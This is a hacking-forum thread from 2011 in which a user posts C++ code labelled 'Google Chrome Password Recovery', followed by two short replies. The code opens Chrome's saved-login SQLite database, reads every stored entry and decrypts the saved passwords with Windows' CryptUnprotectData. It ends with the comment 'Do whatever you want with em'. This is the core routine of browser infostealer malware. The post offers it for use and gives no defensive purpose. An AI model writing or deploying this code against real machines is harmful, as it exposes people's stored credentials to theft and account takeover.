Thread Rating:
  • 0 Votes - 0 Average
  • 1
  • 2
  • 3
  • 4
  • 5


[C++] Google Chrome Password Recovery
13-11-2011, 01:23 PM (This post was last modified: 19-11-2011 11:08 PM by howtothings.)
Post: #1
[C++] Google Chrome Password Recovery
Here's a snippet for Google Chrome Password Recovery
Coded a long time ago, but it still works.

[code=cpp]/*
* Google Chrome Password Recovery
*
* Coded by Sacrificial
* Sacrificial2010@hotmail.com
*
*/

void GetGoogleChrome()
{
char szPath[MAX_PATH];
sqlite3 *lpDatabase;
sqlite3_stmt *lpStatement;
const char *lpTail;
char *szURL, *szUsername, *szPassword;
DATA_BLOB DataIn, DataOut;

SHGetSpecialFolderPath(0, szPath, 0x1C, 0);
strcat(szPath, "\\Google\\Chrome\\User Data\\Default\\Login Data");
if(GetFileAttributes(szPath) != 0xFFFFFFFF) {
sqlite3_open(szPath, &lpDatabase);
sqlite3_prepare_v2(lpDatabase, "SELECT * FROM logins", 20, &lpStatement, &lpTail);
do {
DataIn.pbData = (LPBYTE)sqlite3_column_blob(lpStatement, 5);
DataIn.cbData = sqlite3_column_bytes(lpStatement, 5);
if(CryptUnprotectData(&DataIn, 0, 0, 0, 0, 8, &DataOut)) {
szURL = (char*)sqlite3_column_text(lpStatement, 0);
szUsername = (char*)sqlite3_column_text(lpStatement, 3);
szPassword = (char*)DataOut.pbData;
szPassword[DataOut.cbData] = '\0';
// Do whatever you want with em;
}
} while(sqlite3_step(lpStatement) == SQLITE_ROW);
}
}[/code]

Note:
Its not the best coding, but it works, and like I said its old.
It requires the SQLite libraries.
For Chrome 6 and up the path is "\\Google\\Chrome\\User Data\\Default\\Login Data"
For Chrome 5 and below the path is "\\Google\\Chrome\\User Data\\Default\\Web Data"
Reply
19-11-2011, 11:06 PM
Post: #2
RE: [C++] Google Chrome Password Recovery
Google Chrome Passwrod Recovery.. What would be an example use of this and what passwords does it recover?


[Image: engrish25.png]
Reply
21-11-2011, 08:49 AM
Post: #3
RE: [C++] Google Chrome Password Recovery
Most likely saved passwords, you should know this Mark. Looks pretty clean, similar to the C work I happened to be doing in SQLITE just the other day.

[Image: nomnomnom.jpg]
;7$=v?%v%#5>v7v8994
The decrypt code is V, I could not make it any simpler!
Reply



Forum Jump:


User(s) browsing this thread: 1 Guest(s)